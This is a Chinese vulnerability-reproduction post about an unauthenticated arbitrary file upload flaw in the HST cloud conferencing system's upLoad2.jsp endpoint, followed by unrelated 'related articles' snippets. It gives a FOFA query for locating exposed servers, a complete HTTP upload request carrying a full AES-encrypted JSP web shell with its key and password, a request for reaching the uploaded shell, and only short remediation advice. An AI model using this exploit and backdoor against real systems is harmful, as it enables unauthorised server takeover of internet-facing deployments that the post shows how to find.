好视通云会议 upLoad2.jsp 任意文件上传漏洞复现

0x01 产品简介

   好视通云会议是基于 Internet 的网络视频会议产品,用户使用好视通云会议可以实现多人音视频交流、文字聊天、共享文档、共享屏幕等,会议的管理者可以控制其他参会人的各种权限,可以将会议录制成视频,对会场进行点名等。

0x02 漏洞概述

 好视通云会议/fm/systemConfig/upLoad2.jsp接口处存在任意文件上传漏洞,未经身份认证的攻击者可以通过此漏洞上传恶意后门文件,最终可获取服务器权限。

0x03 复现环境

FOFA:app="好视通-云会议"

0x04 漏洞复现 

PoC

POST /fm/systemConfig/upLoad2.jsp HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=1515df1sdfdsfddfs
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15--1515df1sdfdsfddfs
Content-Disposition: form-data; name="file"; filename="1.jsp"
Content-Type: application/octet-stream<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}  out.print("ojbk");  %>
--1515df1sdfdsfddfs--

验证url

GET /fm/upload/上传的文件名 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip

尝试连接

0x05 修复建议

官方已修复该漏洞,请用户联系厂商修复漏洞:http://www.hst.com/

通过防火墙等安全设备设置访问策略,设置白名单访问。

如非必要,禁止公网访问该系统。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/184385.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

轻型载重汽车转向前桥总成系统毕业设计机械设计

wx供重浩&#xff1a;创享日记 对话框发送&#xff1a;前桥 获取完整说明报告工程源文件 绪论 1.1 轻型载重汽车转向桥的设计意义 汽车是现代交通工具中用得最多&#xff0c;最普遍&#xff0c;也是最方便的交通运输工具。汽车转向系是汽车上的一个重要系统,它是汽车转向运动…

Docker篇之利用docker搭建ftp服务器可实现多用户上传

一、前言 场景&#xff1a;公司需要搭建FTP服务器&#xff0c;供内网之前可以互相传递数据&#xff0c;安全稳定&#xff0c;需要满足开通多个账号&#xff0c;每个用户上传的文件有自己对应的文件目录。 这里建议&#xff1a;用户目录Disk尽量大一点&#xff0c;避免因为空间不…

Maven镜像仓库问题

1.pom文件远程仓库地址 <!--使用aliyun的Maven镜像源提升下载速度--><repositories><repository><id>aliyunmaven</id><name>aliyun</name><url>https://maven.aliyun.com/repository/public</url></repository>&…

扬帆未来,成就架构之路:十本书籍助力你的架构师梦想 | 文末送书

相信大家都对未来的职业发展有着憧憬和规划&#xff0c;要做架构师、要做技术总监、要做CTO。对于如何实现自己的职业规划也都信心满满&#xff0c;努力工作、好好学习、不断提升自己。 规划职业发展 当涉及未来职业发展时&#xff0c;我们都怀揣着远大的目标和野心。对许多人…

软件需求分析报告

《软件需求分析报告》 软件开发全套资料获取&#xff1a;点我获取

【攻防世界-misc】[简单] 凯撒大帝在培根里藏了什么

1.下载文件&#xff0c;打开后是这样子的 2.根据题目提示说是有凯撒密码和培根密码&#xff0c;因为文件内容为AB形式&#xff0c;不符合凯撒条件&#xff0c;所以先用培根解&#xff0c;将文件内容复制&#xff0c;CTF在线工具-CTF工具|CTF编码|CTF密码学|CTF加解密|程序员工具…

一觉醒来!Keras 3.0史诗级更新,大一统深度学习三大后端框架【Tensorflow/PyTorch/Jax】

不知道大家入门上手机器学习项目是首先入坑的哪个深度学习框架&#xff0c;对于我来说&#xff0c;最先看到的听到的就是Tensorflow了&#xff0c;但是实际上手做项目开发的时候却发现了一个很重要的问题&#xff0c;不容易上手&#xff0c;基于原生的tf框架来直接开发模总是有…

SAP_ABAP_编程基础_内表_创建内表 / 填充内表 / 读取内表 /修改和删除内表行 / 内表排序 / 创建顺序表 / 比较内表 / 初始化内表

SAP ABAP 顾问&#xff08;开发工程师&#xff09;能力模型_Terry谈企业数字化的博客-CSDN博客文章浏览阅读470次。目标&#xff1a;基于对SAP abap 顾问能力模型的梳理&#xff0c;给一年左右经验的abaper 快速成长为三年经验提供超级燃料&#xff01;https://blog.csdn.net/j…

《PFL》论文阅读笔记

一、概要 随着联邦学习的发展&#xff0c;简单的聚合算法已经不在有效。但复杂的聚合算法使得联邦学习训练时间出现新的瓶颈。本文提出了并行联邦学习&#xff08;parallel federated learning&#xff0c;PFL&#xff09;&#xff0c;通过调换中心节点聚合和广播的顺序。本文…

这4个磁盘备份方法可以帮你轻松保护重要数据安全!

怎样备份磁盘中存储的重要数据&#xff1f;在我们的日常工作与学习中&#xff0c;数据丢失的情况时有发生&#xff08;比如自己的照片、视频、文档等被误删或者丢失&#xff09;&#xff0c;多数用户可以通过专业的数据恢复软件来找回数据。但若情况比较严重的话&#xff0c;为…

PyQt6 QPushButton按钮控件

​锋哥原创的PyQt6视频教程&#xff1a; 2024版 PyQt6 Python桌面开发 视频教程(无废话版) 玩命更新中~_哔哩哔哩_bilibili2024版 PyQt6 Python桌面开发 视频教程(无废话版) 玩命更新中~共计32条视频&#xff0c;包括&#xff1a;2024版 PyQt6 Python桌面开发 视频教程(无废话…

【刷题笔记】两数之和II_二分法||二分查找||边界||符合思维方式

两数之和II_二分法||二分查找 1 题目描述 https://leetcode.cn/problems/two-sum-ii-input-array-is-sorted/ 给你一个下标从 1 开始的整数数组 numbers &#xff0c;该数组已按 非递减顺序排列 &#xff0c;请你从数组中找出满足相加之和等于目标数 target 的两个数。如果设…

统信UOS 1060操作系统上更新系统

往期好文&#xff1a;统信UOS/麒麟KYLINOS禁用USB存储 hello&#xff0c;大家好啊&#xff01;在数字化时代&#xff0c;操作系统的安全性和稳定性对我们的日常工作和生活至关重要。今天&#xff0c;我要给大家介绍的是关于在统信UOS 1060操作系统上&#xff0c;如何通过控制中…

Facebook广告投放效果不佳?这些投放技巧我不允许你不知道!

众所周知&#xff0c;Facebook广告对于跨境卖家来说是非常有效的站外引流渠道&#xff0c;通过Facebook广告投放可以提高跨境卖家的产品销量和排名&#xff0c;但是有时明明广告已经投放出去了&#xff0c;却无法被受众看到&#xff0c;完全没有获得成果&#xff0c;或许你会怪…

CRM系统的数据分析和报表功能对企业重要吗?

竞争日益激烈&#xff0c;企业需要更加高效地管理客户关系&#xff0c;以获取更多的商机。为此&#xff0c;许多企业选择使用CRM系统。在CRM中&#xff0c;数据分析功能扮演着重要的角色。下面就来详细说说&#xff0c;CRM系统数据分析与报表功能对企业来说重要吗&#xff1f; …

pandas(八)--实战一下

背景 收到一批数据&#xff0c;数据形式。采集数据的间隔时间是10分钟&#xff0c;全天采集数据&#xff0c;每天的数据量是144条 处理后的数据形式 分析 去除表格中的q的异常值&#xff0c;置为0去除重复行将原始表格中的date分裂成日期和时间缺失的时间点数据补0&#x…

Unity C++交互

一、设置Dll输出。 两种方式&#xff1a; 第一&#xff1a;直接创建动态链接库工程第二&#xff1a;创建的是可执行程序&#xff0c;在visual studio&#xff0c;右键项目->属性(由exe改成dll) 二、生成Dll 根据选项Release或Debug&#xff0c;运行完上面的生成解决方案后…

如何修改Window电脑的远程登陆端口

主要步骤如下&#xff1a; 1、找到运行对话框&#xff0c;一种方法是&#xff1a;开始->附件->运行&#xff1b;另外一种是快捷键winR组合键。 2、Regedit&#xff0c;在对话框中输入regedit命令&#xff0c;然后回车。备份注册表。手动备份注册表 2.1选择“ 开始 ”&am…

如何使用 CSS columns 布局来实现自动分组布局?

最近在项目中碰到这样一个布局&#xff0c;有一个列表&#xff0c;先按照 4 2 的正常顺序排列&#xff0c;当超过 8 个后&#xff0c;会横向重新开始 4 2 的布局&#xff0c;有点像一个个独立的分组&#xff0c;然后水平排列&#xff0c;如下 图中序号是 dom 序列&#xff0c;所…

【算法心得】When data range not large, try Bucket sort

https://leetcode.com/problems/maximum-number-of-coins-you-can-get/description/?envTypedaily-question&envId2023-11-24 I solve this problem by sorting piles first, and choose piles for(let i1;i<(piles.length/3)*2;i2) but: o(≧口≦)o Problem must …